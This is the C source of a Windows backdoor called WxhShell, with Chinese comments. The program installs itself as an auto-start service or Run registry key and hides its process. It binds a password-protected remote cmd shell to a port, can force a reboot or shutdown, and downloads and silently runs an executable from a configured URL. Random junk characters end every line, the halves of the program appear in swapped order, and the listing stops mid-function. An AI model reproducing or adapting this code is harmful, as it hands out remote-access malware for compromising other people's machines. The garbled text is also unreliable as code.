    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9S{0vc/2@  
    if(Boot(SHUTDOWN)) <is%lx(GDX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z5t"o !  
    else { - s0QEQ  
    closesocket(wsh); zG~nRt{4  
    ExitThread(0); $!:xjb  
    } Wq*W+7=.  
    break; FMAt6HfU  
    } qZX\riR  
  // 获取shell vFsl]|<;8  
  case 's': { j.UO>1{7  
    CmdShell(wsh); [K`d?&  
    closesocket(wsh); LS4E.Xdn  
    ExitThread(0); .Yxf0y?uv  
    break; iIU>:)i  
  } "ax"k0  
  // 退出 # |,c3$  
  case 'x': { NV9H"fI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  ),f d,  
    CloseIt(wsh); <O]B'Wc [  
    break; =kn-F T  
    } 8[H)t Kf8  
  // 离开 jR{Rd}QtQ  
  case 'q': { ]D|Hq4ug  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N"2P]Z r  
    closesocket(wsh); x: 2 o$+v3  
    WSACleanup(); .$"69[1H  
    exit(1); \rmge4`4  
    break; 2-gI@8NPI  
        } TRQH{O\O  
  } X8(WsN  
  } mjbV^^>  
Y>PC>  
  // 提示信息 IJofbuzw:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nrk/_0^  
} Eb9{  
  } S$ 91L  
Z;J{&OJ3qM  
  return; S$i3/t  
} ,98`tB0  
vaj-|&  
// shell模块句柄 nh%Q";  
int CmdShell(SOCKET sock) t}-rN5GO  
{ D2Dk7//82Y  
STARTUPINFO si; G:{\-R'  
ZeroMemory(&si,sizeof(si)); \FjY;rqfKe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;.b^A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (Kaunp5_`  
PROCESS_INFORMATION ProcessInfo; K"9V8x3Wg  
char cmdline[]="cmd"; y`-5/4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CFiO+p&  
  return 0; @3I/57u<  
} \k*h& :$  
lcEin*Oc  
// 自身启动模式 Y,s@FGI2  
int StartFromService(void)  7VAet  
{ Zcxj.F(,  
typedef struct KZ/ 2#`  
{ 1IV R4:a  
  DWORD ExitStatus; } OAH/BW  
  DWORD PebBaseAddress; g+M& _n  
  DWORD AffinityMask; ,SSq4  
  DWORD BasePriority; R%^AW2   
  ULONG UniqueProcessId; S#^-VZ~U4x  
  ULONG InheritedFromUniqueProcessId; LkIbvJCV  
}   PROCESS_BASIC_INFORMATION; BH`GUIk  
V2_I=]p_  
PROCNTQSIP NtQueryInformationProcess; VNWa3`w  
b0R{cj=<[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E>O1dPZcM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PU^@BZ_m  
/a:L"7z  
  HANDLE             hProcess; (Y$48@x  
  PROCESS_BASIC_INFORMATION pbi; Shb"Jc_i  
RT+_e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gPg2Ve0Qy  
  if(NULL == hInst ) return 0; /V)4B4  
<Z8^.t)|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]*JH~.p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7.tEi}O&_g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gVI2{\a  
d]w%zo,yr  
  if (!NtQueryInformationProcess) return 0; yaKw/vV  
bcC+af0L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ve^rzGU  
  if(!hProcess) return 0; j\.\ePmk]  
sn?YD'>k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HrS  
WHvU|rJ  
  CloseHandle(hProcess); \Yd 0oe82  
p) ea1j>N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TkSeDP  
if(hProcess==NULL) return 0; (k&r^V/=  
JLH,:2  
HMODULE hMod; YN 31Lo  
char procName[255]; A J"/T+g_  
unsigned long cbNeeded; RTRi{p  
q X>\*@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {Qr0pjE7R  
#Ez+1  
  CloseHandle(hProcess); cWNWgdk,`V  
Tx\g5rk  
if(strstr(procName,"services")) return 1; // 以服务启动 ,7nA:0P  
Vm <9/UG<  
  return 0; // 注册表启动 ?^H1X-;  
} Jdp@3mP  
o:"^@3  
// 主模块 k=):>}  
int StartWxhshell(LPSTR lpCmdLine) }g|)+V\A  
{ J}J7A5P  
  SOCKET wsl; p7kH"j{xD  
BOOL val=TRUE; yCOIv!/zy  
  int port=0; +qzCy/_gd  
  struct sockaddr_in door; Yl$Cj>FG  
Du."O]syD  
  if(wscfg.ws_autoins) Install(); !wZ  9P  
 V_-{TGKX  
port=atoi(lpCmdLine); $(U}#[Vie  
7f\@3r  
if(port<=0) port=wscfg.ws_port; rc9Y:(S1l  
#cD20t  
  WSADATA data; gaXKP1m^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;_hL  
O F CA~sR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #J<IHNRt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {-?8r>  
  door.sin_family = AF_INET; &\/b(|>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8x9$6HO  
  door.sin_port = htons(port); {IpIQ-@l  
s.7s:Q`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lYMNx|PF  
closesocket(wsl); }./_fFN@  
return 1; ?Ok@1  
} 2?bE2^6  
d$(>=gzBQ  
  if(listen(wsl,2) == INVALID_SOCKET) {  {!9i8T  
closesocket(wsl); wu2C!gyBo  
return 1; `Ufv,_n  
} 2>bV+[@B  
  Wxhshell(wsl); #RA3 T[A  
  WSACleanup(); qTl/bFD  
U\\nSU  
return 0; ,@'M'S  
+\O[)\  
} Udh!%QP%[w  
QP?Deltp  
// 以NT服务方式启动 $=-Q]ld&]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ']]&<B}mz  
{ =!cI@TI  
DWORD   status = 0; t|Ipxk.)  
  DWORD   specificError = 0xfffffff; p!~{<s]  
"=BO,see9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y4B< ]C4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J|BZ{T}d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VF<C#I  
  serviceStatus.dwWin32ExitCode     = 0; 6(X5n5C  
  serviceStatus.dwServiceSpecificExitCode = 0; >.-$?2  
  serviceStatus.dwCheckPoint       = 0; X;?Z_3I:5  
  serviceStatus.dwWaitHint       = 0; S=wJ{?gzAK  
njy^<7 ;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V ^U1o[`  
  if (hServiceStatusHandle==0) return; i!=2 8|_  
^QKL}xiV:  
status = GetLastError(); &MlBp I  
  if (status!=NO_ERROR) <.h\%&'U  
{ n*oa J<o%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Twj?SV  
    serviceStatus.dwCheckPoint       = 0; M5Twulz/w  
    serviceStatus.dwWaitHint       = 0; 'C9H6)Zq)  
    serviceStatus.dwWin32ExitCode     = status; (3=(g  
    serviceStatus.dwServiceSpecificExitCode = specificError; iWN-X (  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .u_k?.8|  
    return; XFg.Z+ #  
  } g}-Ch#  
P"g Y|}|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; weOzs]uc  
  serviceStatus.dwCheckPoint       = 0; &z\]A,=T c  
  serviceStatus.dwWaitHint       = 0; IHg)xZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q l$t  
} v0dFP0.;&  
O&:0mpRZ  
// 处理NT服务事件,比如:启动、停止 N&0MA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vd{h|=J  
{ #NVqS5  
switch(fdwControl) WR*|kh  
{ Rro{A+[,X  
case SERVICE_CONTROL_STOP: yt&eY6Xp  
  serviceStatus.dwWin32ExitCode = 0; QS~;C&1Hl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ')9%eBaeK  
  serviceStatus.dwCheckPoint   = 0; 0)8QOTeT  
  serviceStatus.dwWaitHint     = 0; ItTIU  
  { J L9d&7-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lbES9o5  
  } I@=h|GM  
  return; X'&$wQ6,K  
case SERVICE_CONTROL_PAUSE: TgaDzF,j{A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; / -=(51}E  
  break; jz[|rwAp  
case SERVICE_CONTROL_CONTINUE: lK^Q#td:`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; : {9|/a  
  break; a.5s5g)8  
case SERVICE_CONTROL_INTERROGATE: T2wn!N?r  
  break;  afEp4(X~  
}; W7a s =+;X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fJ Ch  
} >EMgP1  
1q!JpC^  
// 标准应用程序主函数 f=}Mr8W'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eh'mSf^=p  
{ L!L/QG|wdf  
DJE/u qE  
// 获取操作系统版本 wS2iyrIB  
OsIsNt=GetOsVer(); \QUvImT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,h2q 37  
k~Pm.@,3o  
  // 从命令行安装 !v2,lH  
  if(strpbrk(lpCmdLine,"iI")) Install();  hh"0z]  
LeW.uh3.  
  // 下载执行文件 qD\%8l.]Z  
if(wscfg.ws_downexe) { (nrrzOax  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AEwb'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4(4JQ(5  
} =tcPYYD  
F$ .j|C1a  
if(!OsIsNt) { $U jSP  
// 如果时win9x,隐藏进程并且设置为注册表启动 2LYd # !i  
HideProc(); ZZC= 7FB  
StartWxhshell(lpCmdLine); F!>K8q  
} 1A- 8,)  
else Hcd>\0  
  if(StartFromService()) +29;T0>a  
  // 以服务方式启动 T , =ga  
  StartServiceCtrlDispatcher(DispatchTable); P&aH6*p1  
else >*}qGk  
  // 普通方式启动 BH0rT})  
  StartWxhshell(lpCmdLine); SEchF"KJQF  
BHmA*3?  
return 0; W7A'5  
} n@L!{zY  
l7{hq}@;cC  
+>qBK}`  
"tIf$z  
=========================================== %FFw!eVi  
FA^x|C=$  
~+7yi4(i  
g}^ /8rW  
/&j4IlT  
Xs?7Whc6  
" 8 (^2  
M]` Q4\  
#include <stdio.h> e+R.0E  
#include <string.h> eZHzo  
#include <windows.h> E2*"~gL^,  
#include <winsock2.h> ~vl:Tb  
#include <winsvc.h> \>=YxB q  
#include <urlmon.h> _ z4rx  
3 n:<oOV  
#pragma comment (lib, "Ws2_32.lib") el|t6ZT*  
#pragma comment (lib, "urlmon.lib") >!)VkDAG  
^/n[5@6H  
#define MAX_USER   100 // 最大客户端连接数 aJ)5DlfLR  
#define BUF_SOCK   200 // sock buffer $PS5xD~@  
#define KEY_BUFF   255 // 输入 buffer b"FsT  
yL Q&<\  
#define REBOOT     0   // 重启 r3j8[&B"  
#define SHUTDOWN   1   // 关机 Zc4hjg  
"}HQ)54&  
#define DEF_PORT   5000 // 监听端口 _Mt:^H}Sy  
)q l?}  
#define REG_LEN     16   // 注册表键长度 f,L  
#define SVC_LEN     80   // NT服务名长度 pn $50c  
J#x91Jh  
// 从dll定义API 'c$9[|x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); , ;d9uG2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mTP.W#N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ba+OoS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BWPYHWW}E  
NUnP'X=J,  
// wxhshell配置信息 a+~o: 5  
struct WSCFG { ABHZ)OM  
  int ws_port;         // 监听端口 Lv^j l  
  char ws_passstr[REG_LEN]; // 口令 x b0+4w|  
  int ws_autoins;       // 安装标记, 1=yes 0=no }\0"gM  
  char ws_regname[REG_LEN]; // 注册表键名 *i?qOv /=>  
  char ws_svcname[REG_LEN]; // 服务名 ?*s!&-KI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _@OYC<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yX~[yH+Pn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m~U{ V9;*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `p?E{k.N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (&*F`\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '9/kDkt!  
^n2w6U0  
}; Qx,G3m[}  
.4Ny4CMHZ  
// default Wxhshell configuration o7T|w~F~R  
struct WSCFG wscfg={DEF_PORT, 1 I+5  
    "xuhuanlingzhe", :> q?s  
    1, g^C6"rsnl  
    "Wxhshell", (KQt%]  
    "Wxhshell", OXacI~C  
            "WxhShell Service", *(scSC>  
    "Wrsky Windows CmdShell Service", r#Fu<so,  
    "Please Input Your Password: ", qJ/C*Wqic  
  1, 8Cqs@<r4Od  
  "http://www.wrsky.com/wxhshell.exe", "|G,P-5G"  
  "Wxhshell.exe" ^]DWrmy  
    }; @Hf }PBb  
IcoL/7k3  
// 消息定义模块 Td  F<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %xfy\of+Nk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j&Aq^aI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `/AzX *`  
char *msg_ws_ext="\n\rExit."; 72,iRH  
char *msg_ws_end="\n\rQuit."; y%,BDyK  
char *msg_ws_boot="\n\rReboot..."; $~YuS_sYg  
char *msg_ws_poff="\n\rShutdown..."; c~'kW`sNV  
char *msg_ws_down="\n\rSave to "; ~ 9;GD4  
c'B"Onu@m*  
char *msg_ws_err="\n\rErr!"; IID(mmy6 L  
char *msg_ws_ok="\n\rOK!"; l =yHx\  
!:t9{z{Ixg  
char ExeFile[MAX_PATH]; |i`@!NrFL  
int nUser = 0; E&+ ^H on  
HANDLE handles[MAX_USER]; 6-=_i)kzq  
int OsIsNt; ,![=_d  
mCGcM^21-x  
SERVICE_STATUS       serviceStatus; uf^:3{1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0|ps),  
?},ItJ#>)q  
// 函数声明 uJOW%|ZN`  
int Install(void); VL{#.;QQa  
int Uninstall(void); +Y~+o-_  
int DownloadFile(char *sURL, SOCKET wsh); *e6|SZ &3  
int Boot(int flag); qj6`nbZ{va  
void HideProc(void); t4IJ%#22  
int GetOsVer(void); =vc5,  
int Wxhshell(SOCKET wsl); '/H(,TM  
void TalkWithClient(void *cs); AVr!e   
int CmdShell(SOCKET sock); jVINc=o  
int StartFromService(void); (OqJet2{+  
int StartWxhshell(LPSTR lpCmdLine); X4$e2f  
-"e}YN/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gHx-m2N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x3s^u~C)(w  
Wn^^Q5U#  
// 数据结构和表定义 L)}V [j#  
SERVICE_TABLE_ENTRY DispatchTable[] = %jxuH+L   
{ >D/~|`=p  
{wscfg.ws_svcname, NTServiceMain}, #& wgsGV8C  
{NULL, NULL} ?Qig$  
}; )!d1<p3  
s.sy7%{  
// 自我安装 9>R|k$`  
int Install(void) 6EU4  
{ !7)ID7d  
  char svExeFile[MAX_PATH]; v)yimIHzo  
  HKEY key; .dCP8|  
  strcpy(svExeFile,ExeFile); u =kSs  
2]9<%-=S  
// 如果是win9x系统,修改注册表设为自启动 U_- K6:tr  
if(!OsIsNt) { kkBU<L2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Nkn C>9(\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @'*#]YU8  
  RegCloseKey(key); CLfb`rF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !)3s <{k#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cf'}*$[S  
  RegCloseKey(key); -mJ&N  
  return 0; 5{q/z^]  
    } WdqK/s<jM  
  } j#,M@CE  
} p^rX.?X  
else { ~5uNw*H  
%-/:ps  
// 如果是NT以上系统,安装为系统服务 t4/eB<fP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _-\s[p5  
if (schSCManager!=0) ZPsY0IzLo  
{ ?0NSjK5ma  
  SC_HANDLE schService = CreateService Ro]IE|Fv  
  ( %"Q!5qH&  
  schSCManager, <88}+j  
  wscfg.ws_svcname, hZWK5KwT  
  wscfg.ws_svcdisp, iFG5%>5F  
  SERVICE_ALL_ACCESS, )95yV;n   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2U'JzE^Do  
  SERVICE_AUTO_START, :5M}Iz7  
  SERVICE_ERROR_NORMAL, M5kHD]b  
  svExeFile, W 'a~pB1I  
  NULL, 4sBoD=e  
  NULL, 5?L:8kHsH  
  NULL, j!MA]0lTM  
  NULL, 6r=)V$K <  
  NULL %]0U60  
  ); &NjZD4m`=  
  if (schService!=0) b*F~%K^i$  
  { ~_db<!a  
  CloseServiceHandle(schService); *rz(}(r  
  CloseServiceHandle(schSCManager); 'Y{ux>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wT~;tOw~  
  strcat(svExeFile,wscfg.ws_svcname); ,DuZMGg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s<_LcQbt{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [RFK-E  
  RegCloseKey(key); ?VZXJO{^  
  return 0; qb> r\bc  
    } T 0v@mXBQ  
  } ilp;@O6  
  CloseServiceHandle(schSCManager); 3ZL7N$N}7  
} tW.>D;8  
} dh;MpE  
0 ,Qj:  
return 1; 8+|V!q   
} p5;,/ |Ft  
ws2 j:B  
// 自我卸载 ENXW#{N.v  
int Uninstall(void) 6a]f&={E  
{ oB06{/6  
  HKEY key; 0/P-> n~  
W|rFl]~a  
if(!OsIsNt) { vYR=TN=Z4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0tm_}L$g=b  
  RegDeleteValue(key,wscfg.ws_regname); 8pL>wL &C  
  RegCloseKey(key); Ky9No"o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XBWSO@M'  
  RegDeleteValue(key,wscfg.ws_regname); O4d^ig-xaH  
  RegCloseKey(key); xDA,?i;T 0  
  return 0; ok%a|Zz+]  
  } ooU Sb  
} dbT^9: Q  
} }:9|*m<$t  
else { ?sf2h:\N  
&PBWJ?@O)r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a.}:d30  
if (schSCManager!=0) 4R*<WdT(  
{ m wEVEx24  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BRU9LS  
  if (schService!=0) .`Old{<  
  { qe6C|W~n  
  if(DeleteService(schService)!=0) { _ U8OIXN  
  CloseServiceHandle(schService); 9Ajgfy>  
  CloseServiceHandle(schSCManager); 18p3  
  return 0; U??f<  
  } 4`!  
  CloseServiceHandle(schService); ]i,Mq  
  } 9HNh*Gc=  
  CloseServiceHandle(schSCManager); fyg~KF}  
} snTJe[^d  
} IJ_ 'w[k  
Pvg  
return 1; xL39>PB  
} OZC/+"\,  
!w#ru?L{  
// 从指定url下载文件 ;sck+FP7w  
int DownloadFile(char *sURL, SOCKET wsh) uWR,6\_jY  
{ HDSA]{:sl  
  HRESULT hr; z@%/r~?|  
char seps[]= "/"; ~Miin   
char *token; {F(-s"1;xO  
char *file; Q9eYF-+  
char myURL[MAX_PATH]; m['v3m:  
char myFILE[MAX_PATH]; 01-\:[{  
q(&^9"  
strcpy(myURL,sURL); _]=TFz2O  
  token=strtok(myURL,seps); ndKvJH4  
  while(token!=NULL) @u"kX2>Eq  
  { C?/r}ly<\  
    file=token; C;)Xwm>e  
  token=strtok(NULL,seps); OHtgn  
  } }W@#S_-e8  
,Og[[0g  
GetCurrentDirectory(MAX_PATH,myFILE); VO @ 4A6  
strcat(myFILE, "\\"); zy5s$f1IA  
strcat(myFILE, file); EN-8uY.  
  send(wsh,myFILE,strlen(myFILE),0); /HjI=263  
send(wsh,"...",3,0); ek(kY6x:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :@QK}qFP  
  if(hr==S_OK) CFkW@\]  
return 0; fbHWBb  
else ]U#[\ Z  
return 1; XMeL^|D  
/]k ,,&  
} *2"bG1`  
&3 XFg Ho  
// 系统电源模块 <(#xOe  
int Boot(int flag) N'eQ>2>O@  
{ 2sd ) w  
  HANDLE hToken; s.p1L  
  TOKEN_PRIVILEGES tkp; k}I5x1>&  
C>JekPeM  
  if(OsIsNt) { x  tYV"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $K6?(x_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $/<"Si&(  
    tkp.PrivilegeCount = 1; i)@U.-*5m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <@U.   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \N`fWh8&  
if(flag==REBOOT) { MAwC\7n+X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9*-pden l  
  return 0; M\\e e3Ih  
} "UhK]i*@l  
else { =qV4Sje|q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wk\mgGn+  
  return 0; `Ct'/h{  
} ;<bj{#mMv  
  } "o^bN 9=  
  else { nl)_`8=  
if(flag==REBOOT) { "q9~ C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WIEx '{  
  return 0; BGlGpl  
} ;Ch+X$m9  
else { u_}`y1Xu#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S.Wh4kMUe  
  return 0; HQ|o%9~  
} ^Txu ~r0@  
} xUiWiOihr6  
t-*VsPy  
return 1; "4Lg8qm  
} JAGi""3HG  
^MWEfPt  
// win9x进程隐藏模块 [ 5CS}FB  
void HideProc(void) :"OZc7 ~  
{ RsqRR`|X?  
A6?qIy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BB2_J=wA  
  if ( hKernel != NULL ) * 1 |YLy  
  { x38SSzG:L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tsTR2+GZS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >u9id>+  
    FreeLibrary(hKernel); Ax5mP8S  
  } O3^98n2  
^[X|As2  
return; u"`5  
} {\vI9cni|"  
'h!h!  
// 获取操作系统版本 ULp)T`P  
int GetOsVer(void) bc3|;O  
{ [+hy_Nc$  
  OSVERSIONINFO winfo; V]l&{hl,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x !#Ma  
  GetVersionEx(&winfo); ]k[ Q]:q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8BYIxHHz  
  return 1; cPA~eZbX  
  else 7.wR"1p#  
  return 0; fnVW/23  
} $l#v/(uFa  
c&E*KfOG  
// 客户端句柄模块 bn0"M+7)f  
int Wxhshell(SOCKET wsl) a za o`z  
{ o/tVcv  
  SOCKET wsh; C-s>1\I  
  struct sockaddr_in client; 3+CSQb8  
  DWORD myID; 8fJR{jD(s  
~/^y.SsWM  
  while(nUser<MAX_USER) /[\6oa  
{ <u6c2!I{  
  int nSize=sizeof(client); MZCL:#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .@y{)/  
  if(wsh==INVALID_SOCKET) return 1; ?60>'Xj j  
,bB( 24LD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Si#"Wn?|  
if(handles[nUser]==0) o\_ Td  
  closesocket(wsh); %iK%$  
else Pk$}%;@v  
  nUser++; W0VA'W  
  } kVV\*"9y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fC=fJZU7$  
<T(s\N5B=  
  return 0; =}~NRmmF  
} I["F+kt^^  
[:AB$l*  
// 关闭 socket 5Z* b(R  
void CloseIt(SOCKET wsh) |$YyjYK  
{ BhqhyX\D&y  
closesocket(wsh); \w{@u)h  
nUser--; xL9:4'I  
ExitThread(0); AyE%0KmraK  
} 17e=GL  
Na\3.:]z  
// 客户端请求句柄 >nc4v6s  
void TalkWithClient(void *cs) ^dFh g_GhF  
{ oHxGbvQc  
C}n'>],p  
  SOCKET wsh=(SOCKET)cs; ~Y\QGuT  
  char pwd[SVC_LEN]; ^{),+S  
  char cmd[KEY_BUFF]; eeZIa`.sX  
char chr[1]; 3CA|5A.Pa  
int i,j; RxlszyE  
!nec 7  
  while (nUser < MAX_USER) { gE\A9L~b  
IM@"AD52a  
if(wscfg.ws_passstr) { W;^Rx.W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "4 'kb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G1kDM.L  
  //ZeroMemory(pwd,KEY_BUFF); l<u{6o  
      i=0; }16&1@8  
  while(i<SVC_LEN) { l*$WX=h6n  
[_j6cj]  
  // 设置超时 j%#?m2J}  
  fd_set FdRead; P;j&kuW|zL  
  struct timeval TimeOut; smQ4CLJ  
  FD_ZERO(&FdRead); q_-ma_F#s  
  FD_SET(wsh,&FdRead); -<8B,  
  TimeOut.tv_sec=8; 7 rH'1U  
  TimeOut.tv_usec=0; [:Be[pLC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IbF 4k .J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U$A/bEhw  
x:p}w[WM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +H41]W6  
  pwd=chr[0];  ,Qat  
  if(chr[0]==0xd || chr[0]==0xa) { ,o BlJvm  
  pwd=0; : aHcPc:  
  break; =.DTR5(_h  
  } l+t #"3  
  i++; JRD8Lz]Q3  
    } UMT\Q6p  
k}X[u8A  
  // 如果是非法用户,关闭 socket xM% pvx.'L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9H>BWjS  
} +eU`H[iu  
?2/uSG|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); * nLIXnm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <}&7 a s  
y7>iz6N  
while(1) { Sc$gnUYD{  
nHnk#SAA u  
  ZeroMemory(cmd,KEY_BUFF); xsYE=^uv  
t @;WgIp(&  
      // 自动支持客户端 telnet标准   7LG+$LEz  
  j=0; %Nl`~Kz9U  
  while(j<KEY_BUFF) { AU/#b(mI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +a #lofhv  
  cmd[j]=chr[0]; Gv;;!sZ  
  if(chr[0]==0xa || chr[0]==0xd) { Jff 79)f  
  cmd[j]=0; Bw6L;Vu  
  break; Rl1$?l6Rf  
  } `ovgWv  
  j++; \N?7WQ  
    } 5qC:yI  
}X.>4\B5  
  // 下载文件 3!>/smb !  
  if(strstr(cmd,"http://")) { +yCTH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z* RSMfRW  
  if(DownloadFile(cmd,wsh)) >jv\Qh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $.wA?`1aSk  
  else o/WC@!wg K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >'N!dM.+9  
  } I'dj.  
  else { NIaF5z  
YwGH G{?e  
